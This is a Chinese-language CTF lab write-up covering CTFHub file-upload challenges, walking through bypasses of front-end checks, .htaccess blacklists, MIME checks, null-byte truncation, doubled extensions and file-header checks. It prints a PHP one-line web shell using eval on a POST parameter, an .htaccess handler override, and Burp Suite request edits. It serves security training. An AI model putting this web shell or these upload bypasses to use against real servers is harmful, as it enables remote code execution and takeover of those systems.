CTFHub | 文件上传
-
无验证
- 使用工具:中国剑蚁(D:\AntSword_Loader\AntSword-Loader-v4.0.3-win32-x64\AntSword.exe)
在下载这个工具的时候,浏览器拦截说有病毒。使用git clone下载。十分丝滑。
- 先上传文件a.php
<?php
@eval($_POST['hack']);
?>
页面回显文件被放在:/load/a.php中
- 打开中国剑蚁,右键添加数据,输入url(http://xxx.***/load/a.php), 输入‘连接密码’:hack, 点击添加。
- 打开数据条,遍历目录,发现flag文件。
-
前端验证
- 查看网页源代码,发现js有对文件类型的验证。限制只能上传 .jpg .png .gif的文件。
- 对a.php改名:a.jpg,成功添加进文件。
- burpsuite抓包,修改filename为a.php,为了服务器那边能够以.php的形式运行它。
- 利用剑蚁工具,步骤同<无验证>这一题。
- 总结:先顺着js验证在前端上传文件,然后在赶在后端处理之前修改回去。
-
.ha***ess绕过
- 查看网页源代码,发现blacklist, 于是明白是.ha***ess绕过题, 先上传一个.ha***ess文件到服务器后端,配置成可以通过无后缀文件。
<FilesMatch "filename">
SetHandler application/x-httpd-php
</FilesMatch>
- 再按照<无验证>这一题的方法上传a.php文件。
- 迷惑? 这一题我第一次做的时候.ha***ess写错了,标签名字写成了FileMatch, 后续步骤一样,也能得到网页文件,但只有一个,且只有一行,写着错误的flag。奇怪。
-
MIME绕过
- 先上传文件a.php
- burpsuite抓包拦截,改Content-Type字段。
将:
Content-Type: application/octet-stream # 告知以流文件形式下载文件,只知道这是二进制文件。
改成:
Content-Type: image/gif
注意:
这里有两个Content-Type字段,第一个用来限定文件显示范围的,第二个才是限定文件类型。
- <无验证>套路
-
00 截断
php5.2 00截断上传的原理
文件上传绕过之00截断_00截断绕过-CSDN博客
- 迷惑?为什么直接在上传文件命名为a.php%00.gif提交后,页面提示上传成功,但是实际上没有?而且路径也变成/htm/upload/,这个路径十分奇怪啊。
- 解决办法:burpsuite抓包,改第一行路径,加上a.php%00.gif
-
双写后缀
- 过滤策略:将白名单上的后缀替换为空。
- 构造特殊的文件名,如a.pasahp, 这样的话,经过替换,最终得到的文件是a.php。
这里很奇特的一点:我尝试构造a.phpphp,上传后的文件是a. 也就是说,两个php都被替换为空了。猜测这个str_ireplace()函数应该是设置一个指针,遍历整个字符串,边遍历便查找,一经找到就删除,继续往后查找,而不是找到第一个就删除并返回。
- 下同<无验证>
-
文件头检查
-
第一种方法:按理来说应该也可以,上传也成功,但是出现不解的问题。
- 先提交一个.png文件(不宜太大,大了上传不了),burpsuite抓包,然后修改文件名为a.php,在文件内容里面(文件末尾)添加一句话木马。
<?php @eval($_POST['hack']); ?>
b. <无验证>
c. 出现问题:剑蚁连接得上,但是返回{}空。
-
第二种方法:Winhex打开a.php文件。复制89504E47, 在文件开头>编辑>剪贴板数据>粘贴>ASCII Hex, 保存退出。直接上传a.php文件。<无验证>